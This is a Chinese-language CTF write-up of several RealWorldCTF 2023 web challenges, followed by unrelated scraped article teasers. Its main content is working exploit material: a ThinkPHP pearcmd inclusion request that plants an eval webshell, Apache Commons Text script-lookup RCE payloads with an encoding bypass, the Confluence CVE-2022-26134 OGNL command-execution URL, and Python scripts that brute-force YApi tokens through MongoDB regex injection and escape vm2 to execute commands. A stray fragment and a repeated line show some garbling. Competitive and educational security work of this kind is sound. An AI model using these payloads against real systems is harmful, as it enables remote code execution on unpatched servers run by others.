RealWorldCTF2023体验赛 部分WEB

news2024/11/15 12:09:25

WEB

🐑了拼🐑

拼图或者直接搜索js文件代码

Evil Mysql Server

Mysql恶意服务器读取文件,MySQL_Fake_Server或者Rogue-MySql-Server直接读文件,填写vps的ip端口让服务器连接。

Be-a-Language-Expert

前段时间thinkphp6 多语言 pearcmd文件包含那个洞

/index.php?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/&<?=eval($_POST['cmd'])?>+/tmp/test2.php
/index.php?lang=../../../../../../../../tmp/test2
    
POST 传参 cmd=system%28%27%2Freadflag%27%29%3B 

image-20230108032845964

image-20230108033812933

ApacheCommandText

https://www.ctfiot.com/79054.html

https://commons.apache.org/proper/commons-text/userguide.html

基本格式为${prefix:name},过滤了poc中script、file、url等prefix

支持递归解析,使用编码器进行绕过,可以参考部分Log4j2的绕过方式

https://www.freebuf.com/articles/network/316590.html

${base64Decoder:JHtzY3JpcHQ6amF2YXNjcmlwdDpuZXcgamF2YS5pby5CdWZmZXJlZFJlYWRlcihuZXcgamF2YS5pby5JbnB1dFN0cmVhbVJlYWRlcihqYXZhLmxhbmcuUnVudGltZS5nZXRSdW50aW1lKCkuZXhlYygnL3JlYWRmbGFnJykuZ2V0SW5wdXRTdHJlYW0oKSkpLnJlYWRMaW5lKCl9}

${script:javascript:new java.io.BufferedReader(new java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec('/readflag').getInputStream())).readLine()}

image-20230108032437567

image-20230108032349710

Be-a-Wiki-Hacker

CVE-2022-26134 OGNL注入命令执行

Atlassian Confluence 远程代码执行漏洞(CVE-2022-26134)OGNL注入命令执行

/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22cat%20/flag%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/

image-20230107182443145

Yummy Api

YApi <1.12.0 远程命令执行漏洞

Yapi 注入到RCE 漏洞分析

YApi<1.12版本下通过MongoDB的盲注拿到Token后进行RCE的漏洞分析

通过run_auto_test命令执行接口添加自动化测试脚本,这里是个vm2逃逸。根据文章中的脚本缝合一下 依次跑就行

爆破token

import requests

strings = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"


def check_toekn(token:str):
    json_data = {
            'token': token,
            'catid': '1376',
            'path': '/api/group/list',
            'title': '/api/group/list',
            'method': 'GET',
        }
    response = requests.post('http://47.98.161.119:8080/api/interface/add',json=json_data)
    if response.text.find('project_id') == -1:
        print("token is {0}".format(token))
        exit()

payload = ""
while True:
    for i in strings:
        payloads = payload + i
        json_data = {
            'token': {
                '$regex': '^{0}'.format(payloads),
            },
            'catid': '1376',
            'path': '/api/group/list',
            'title': '/api/group/list',
            'method': 'GET',
        }
        response = requests.post('http://47.98.161.119:8080/api/interface/add',json=json_data)
        if response.text.find('project_id') != -1:
            continue
        else:
            payload = payloads
            print(payloads)
            check_toekn(payloads)
            break

token编码

from Crypto.Cipher import AES
from hashlib import md5
import requests

class AESCipher(object):
    class InvalidBlockSizeError(Exception):
        """Raised for invalid block sizes"""
        pass

    def __init__(self, key, block_size=16) -> None:
        if block_size < 2 or block_size > 255:
            raise AESCipher.InvalidBlockSizeError(
                'The block size must be between 2 and 255, inclusive')
        self.block_size = block_size
        self.key, self.iv = self.EVP_BytesToKey(
            key.encode("utf-8"), "".encode("utf-8"), 24, 16)

    def __pad(self, text) -> str:
        text_length = len(text)
        amount_to_pad = self.block_size - (text_length % self.block_size)
        if amount_to_pad == 0:
            amount_to_pad = self.block_size
        self.pad = chr(amount_to_pad)
        return text + self.pad * amount_to_pad

    def __unpad(self, text) -> str:
        text = text.rstrip(self.pad)
        return text

    def encrypt(self, raw) -> str:
        raw = self.__pad(raw).encode()
        cipher = AES.new(self.key, AES.MODE_CBC, self.iv)
        return cipher.encrypt(raw).hex()

    def decrypt(self, enc) -> str:
        enc = bytes.fromhex(enc)
        cipher = AES.new(self.key, AES.MODE_CBC, self.iv)
        return self.__unpad(cipher.decrypt(enc).decode("utf-8"))

    def EVP_BytesToKey(self, password, salt, key_len, iv_len) -> tuple[bytes, bytes]:
        """
        Derive the key and the IV from the given password and salt.
        """
        dtot = md5(password + salt).digest()
        d = [dtot]
        while len(dtot) < (iv_len+key_len):
            d.append(md5(d[-1] + password + salt).digest())
            dtot += d[-1]
        return dtot[:key_len], dtot[key_len:key_len+iv_len]

aes = AESCipher("abcde", 16)
for i in range(0,100):
    token = aes.encrypt("{0}|8fa743801266b2391d16".format(i))
    reponse = requests.get("http://47.98.161.119:9090/api/project/get?token={0}".format(token))
    if(reponse.text.find("null") == -1):
        print("uid:{0}".format(i))
        print("project_id:{0}".format(reponse.json()["data"]["_id"]))
        print(token)
        exit()

RCE

import requests
import re

token = "043454c1c1399255295ebf2fff47e5cc494108968ad05f848627c334d91ad2bc"
url = f'http://47.98.161.119:9090/api/project/up?token={token}'
headers = {
    "content-type":"application/json"
}
vm2Script = """
let mockJson = constructor.constructor('return process')().mainModule.require('child_process').execSync('/readflag').toString()
context.responseData = 'testtest' + mockJson + 'testtest'
console.log(responseData)
"""
body_json = {"id":1,
"pre_script":"",
"after_script":vm2Script}

print(body_json)
id = 1
while id:
    print(id)
    body_json["id"] = id ## 项目id 需要枚举
    resp = requests.post(url=url,headers=headers,json=body_json, timeout=5)
    print(resp.status_code)
    print(resp.text)
    if resp.status_code == 200 and re.search("\"errcode\":0",resp.text):
        print("[*] pre-response 脚本上传成功")
        break
    else:
        print("[*] pre-response 脚本上传失败")
        id+=1
    print(id)

id = 1
while id:
    url =f'http://47.98.161.119:9090/api/open/run_auto_test?id={id}&token={token}&mode=html'
    resp = requests.get(url=url)
    if re.search("YAPI",resp.text) and re.search("<!DOCTYPE html>",resp.text):
        print("[*] 命令执行成功")
        # print(url)
        print("===")
        print(id)
        print(re.search("testtest[\s\S]*testtest",resp.text)[0])
        break
    print(url)
    id += 1

image-20230107202456143

后面发现vulhub有一键脚本 https://github.com/vulhub/vulhub/tree/master/yapi/mongodb-inj

python poc.py --debug one4all -u http://127.0.0.1:3000/

b-1673264674162)]

后面发现vulhub有一键脚本 https://github.com/vulhub/vulhub/tree/master/yapi/mongodb-inj

python poc.py --debug one4all -u http://127.0.0.1:3000/

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/151151.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

初级软件测试面试会问什么 拿好这些问题的标准答案,offer不在话下

随着互联网的不断发展&#xff0c;企业对于IT方面的人才需求也越来越大&#xff0c;在追求人才数量的同时&#xff0c;也注重人才质量。而面试就成为把握质量的拦门砖&#xff0c;因此&#xff0c;你想要走心仪的公司&#xff0c;那么你在面试中的表现将会直接决定你求职的成败…

C++ 语法基础课7 —— 类、结构体、指针、引用

文章目录1. 类和结构体1.1 类的定义1.2 类的使用1.3 结构体1.4 构造函数2. 指针和引用2.1 指针2.2 数组2.3 引用2.4 查询地址3. 链表3.1 添加结点3.2 删除结点1. 类和结构体 1.1 类的定义 class Person {private:int age, height;double money;string books[100];public:stri…

嵌入式系统移植导学

目录 系统移植导学 系统移植过程 Windows装机 Linux系统移植 开发板启动过程 系统移植导学 操作系统&#xff1a;向下管理硬件、向上提供接口 操作系统为我们提供了&#xff1a; 1.进程管理 2.内存管理 3.网络接口 4.文件系统 5.设备管理 那系统移植是干什么呢&am…

Zabbix使用LLD自动发现规则发现监控docker容器(下)

本篇是使用Zabbix监控docker容器下篇。利用ZABBIX自动发现监控功能&#xff0c;在部署zabbix agent客户端的服务器上&#xff0c;编写自定义功能脚本&#xff0c;实现自动获取服务器上运行的docker服务并监控其运行状态。 前提条件 已经部署好的zabbix监控系统 Zabbix服务器…

自动驾驶专题介绍 ———— 惯性导航

文章目录介绍工作原理特点应用场景介绍 惯性导航系统&#xff08;Inertial Navigation System - INS&#xff09;是一种不依赖外部输入信息、也不向外辐射能量的自助式导航系统&#xff0c;是通过陀螺仪和加速度计为敏感器件的导航参数解算系统。该系统根据陀螺仪输出建立导航坐…

安全—03day

虚拟主机基于域名、端口、IP访问nginx 一、虚拟主机基于域名访问nginx 1.为虚拟主机提供域名解析 echo "192.168.181.130 www.nj.com www.benet.com" >> /etc/hosts2.为虚拟主机准备网页文档 mkdir -p /var/www/html/benet mkdir -p /var/www/html/nj echo…

linux系统中QT进行文本读写操作的方法

大家好&#xff0c;今天主要和大家聊一聊&#xff0c;利用QT进行文本的读写操作方法。 目录 第一&#xff1a;文本读写基本简介 第二&#xff1a;应用实例 第三&#xff1a;运行效果 第一&#xff1a;文本读写基本简介 有时候我们需要对文件进行读写&#xff0c;比如写个Mp3…

第01讲:Docker入门

一、什么是Docker 1、Docker 是一个开源的应用容器引擎 2、诞生于 2013 年初&#xff0c;基于 Go 语言实现&#xff0c; dotCloud 公司出品&#xff08;后改名为Docker Inc&#xff09; 3、Docker 是一个可以让开发者打包他们的应用以及依赖包到一个轻量级、可移植的容器引擎&…

Java--集合--经典七道综合练习题

文章目录 一、集合的遍历方式 二、添加数字并遍历 三、添加学生对象并遍历 四、添加学生对象并遍历 五、添加用户对象并判断是否存在 六、添加手机对象并返回要求的数据 七、创建学生管理系统&#xff08;*****&#xff09; 一、集合的遍历方式 需求&#xff1a;定义一…

深耕5G云专网,阿里云祝顺民入选“2022年度5G创新人物”

2022 年&#xff0c;5G 商用发展成效显著&#xff0c;正在加速产业数字化&#xff0c;全面赋能经济社会发展。运营商 5G 投资超过 4000 亿元&#xff0c;共带动 8.6 万亿元的经济产出&#xff0c;而这一切离不开奋战在 ICT 行业的 5G 应用推动者。 日前&#xff0c;由中国工信…

分享104个PHP源码,总有一款适合您

PHP源码 分享104个PHP源码&#xff0c;总有一款适合您 链接&#xff1a;https://pan.baidu.com/s/1MnmNb3vsofBnQ4kKoMlSBw?pwdkl4o 提取码&#xff1a;kl4o 下面是文件的名字&#xff0c;我放了一些图片&#xff0c;文章里不是所有的图主要是放不下...&#xff0c;大家下载…

Python学生信息管理系统源码,学生教师端分离,支持数据的增删查改、数据分析与统计 基于Tkinter带图形界面

介绍 Python学生信息管理系统。学生教师端分离&#xff0c;支持数据的增删查改、数据分析与统计。 下载地址&#xff1a;Python学生信息管理系统源码 软件架构 Python3.9版本 Python-Tkinter库开发的图形界面 Python-Pandas库数据处理 Python-matplotlib库数据分析与展示 P…

C语言经典100例(006,007)

题目&#xff1a;用*号输出字母C的图案。 程序分析&#xff1a;可先用*号在纸上写出字母C&#xff0c;再分行输出。 程序源代码&#xff1a; #include "stdio.h" int main() {printf("用 * 号输出字母 C!\n");printf(" ****\n");printf("…

CSS知识点精学7-小兔鲜项目实现案例

一.网页和网站的关系 包含关系 网页和网站的关系就是包含关系&#xff0c;网站包含了很多的网页&#xff0c;网页不能单独存在于网络中。 网站是一个整体&#xff0c;网页是一个个体&#xff0c;一个网站是由很多网页构建而成。就像进入百度网站&#xff0c;里面还有其他许多…

AI作画怎么弄?超详细ai绘画教程在这里

AI作画怎么弄&#xff1f;如何实现将照片生成ai漫画图&#xff0c;如何通过关键词描述生成好看的壁纸、背景&#xff1f;最全最详细教程来了&#xff0c;一分钟学会&#xff01; 一、将照片生成二次元 我们先打开数画ai绘画软件&#xff0c;在首页这里&#xff0c;点击“相册”…

【Git】Git常用命令

3、Git 常用命令 命令名称作用git config --global user.name 用户名设置用户签名git config --global user.email 邮箱设置用户签名git init初始化本地库git status查看本地库状态git add 文件名添加到暂存区git commit -m “日志信息” 文件名提交到本地库git reflog查看历史…

手写RPC框架06-基于线程和队列提升框架并发处理能力

源代码地址&#xff1a;https://github.com/lhj502819/IRpc/tree/v7 系列文章&#xff1a; 注册中心模块实现路由模块实现序列化模块实现过滤器模块实现自定义SPI机制增加框架的扩展性的设计与实现基于线程和队列提升框架并发处理能力 Server端 现有的问题 目前我们的RPC框…

酷早报:1月9日全球Web3加密行业重大资讯大汇总

2023年1月9日 星期一 【数据指标】 加密货币总市值&#xff1a;$0.84万亿 BTC市值占比&#xff1a;39.14% 恐慌贪婪指数&#xff1a;25 极度恐慌【今日快讯】 1、【政讯】 1.1、美债关键收益率曲线倒挂幅度创纪录以来新高 1.2.1、美联储博斯蒂克&#xff1a;倾向于将利率升至5%…

2020年MathorCup高校数学建模挑战赛—大数据竞赛A题移动通信基站流量预测求解全过程文档及程序

2020年MathorCup高校数学建模挑战赛—大数据竞赛 A题 移动通信基站流量预测 原题再现&#xff1a; 随着移动通信技术的发展&#xff0c;4G、5G 给人们带来了极大便利。移动互联网的飞速发展&#xff0c;使得移动流量呈现爆炸式增长&#xff0c;从而基站的流量负荷问题变得越来…

代码随想录第55天|● 392.判断子序列 ● 115.不同的子序列

392.判断子序列 dp[i][j] 表示以下标i-1为结尾的字符串s&#xff0c;和以下标j-1为结尾的字符串t&#xff0c;相同子序列的长度为dp[i][j]。 if (s[i - 1] t[j - 1])&#xff0c;那么dp[i][j] dp[i - 1][j - 1] 1;&#xff0c;因为找到了一个相同的字符&#xff0c;相同子…